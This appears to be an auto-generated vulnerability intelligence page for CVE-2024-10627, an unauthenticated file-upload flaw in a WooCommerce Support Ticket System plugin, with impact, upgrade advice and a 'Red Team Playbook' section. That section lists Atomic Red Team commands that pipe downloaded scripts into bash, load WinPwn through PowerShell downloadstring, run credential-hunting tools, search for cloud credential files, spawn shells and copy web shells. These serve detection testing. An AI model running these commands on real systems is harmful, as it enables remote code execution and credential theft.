CVE-2024-10627
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of uploaded file types within the ajax_manage_file_chunk_upload() function of the vanquish WooCommerce Support Ticket System plugin. The affected component is the file upload handler in all plugin versions up to and including 17.7, which fails to enforce restrictions on file content or extension, allowing untrusted input to be processed without proper sanitization.
Vulnerability Description
The WooCommerce Support Ticket System plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the ajax_manage_file_chunk_upload() function in all versions up to, and including, 17.7. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated attacker can exploit this vulnerability to upload arbitrary files, potentially including web shells or malicious scripts, leading to remote code execution on the affected server. No authentication or user interaction is required (CVSS vector AV:N/AC:L/PR:N/UI:N), enabling remote exploitation over the network. Successful exploitation may result in full system compromise, data theft, or service disruption, severely impacting the confidentiality, integrity, and availability of the affected WordPress site.
Solution
Users should upgrade the vanquish WooCommerce Support Ticket System plugin to a version later than 17.7 where this vulnerability has been addressed. Detailed patch instructions and version updates are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/1ac218f6-0bfa-480c-9159-d75a027022ba. No official workaround is provided; immediate upgrade is recommended to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the WooCommerce Support Ticket System plugin for WordPress arises from inadequate file type validation within the ajax_manage_file_chunk_upload() function. This oversight allows unauthenticated users to upload arbitrary files to the server hosting the affected site. The lack of stringent checks on the file types being uploaded means that an attacker could potentially upload malicious scripts or executables disguised as benign files, leading to severe security implications. The vulnerability is particularly concerning as it is present in all versions up to and including 17.7, thereby affecting a wide range of installations that have not yet been patched.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a request to the vulnerable function, bypassing authentication mechanisms entirely. By uploading a malicious file, such as a PHP script, the attacker could execute arbitrary code on the server. This could lead to a complete compromise of the web application, allowing the attacker to manipulate data, steal sensitive information, or even pivot to other systems within the network. The ease of exploitation, combined with the potential for severe consequences, makes this vulnerability particularly attractive to malicious actors.
The real-world impact of this vulnerability can be profound, especially for businesses that rely on the WooCommerce platform for their e-commerce operations. A successful attack could lead to unauthorized access to customer data, including payment information, which could result in significant financial losses and reputational damage. Furthermore, the potential for remote code execution means that attackers could use the compromised server as a launching point for further attacks, potentially affecting other connected systems. The business risk is compounded by the fact that many organizations may not have adequate security measures in place to detect or respond to such incidents, leading to prolonged exposure and damage.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular security audits and vulnerability assessments should be conducted to identify and remediate weaknesses in their web applications. Additionally, organizations should ensure that all plugins, including the WooCommerce Support Ticket System, are kept up to date with the latest security patches. Employing a web application firewall (WAF) can also help filter out malicious requests and prevent unauthorized file uploads. Furthermore, implementing strict file type validation and restricting file uploads to only necessary types can significantly reduce the risk of exploitation. Educating staff about the importance of cybersecurity hygiene and the potential risks associated with third-party plugins is also essential in fostering a security-conscious culture within the organization.
In conclusion, the vulnerability in the WooCommerce Support Ticket System plugin presents a significant threat to WordPress users, particularly those operating e-commerce sites. The potential for arbitrary file uploads leading to remote code execution underscores the necessity for proactive security measures. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities. Implementing robust detection and mitigation strategies will not only protect the integrity of their systems but also safeguard their reputation and customer trust in an increasingly hostile digital landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Vanquish | Woocommerce Support Ticket System | All |
cpe:2.3:a:vanquish:woocommerce_support_ticket_system:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-10627 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/1ac218f6-0bfa-480c-9159-d75a027022ba?source=cve |
| codecanyon.net |
GitHub CVE
|
https://codecanyon.net/item/woocommerce-support-ticket-system/17930050 |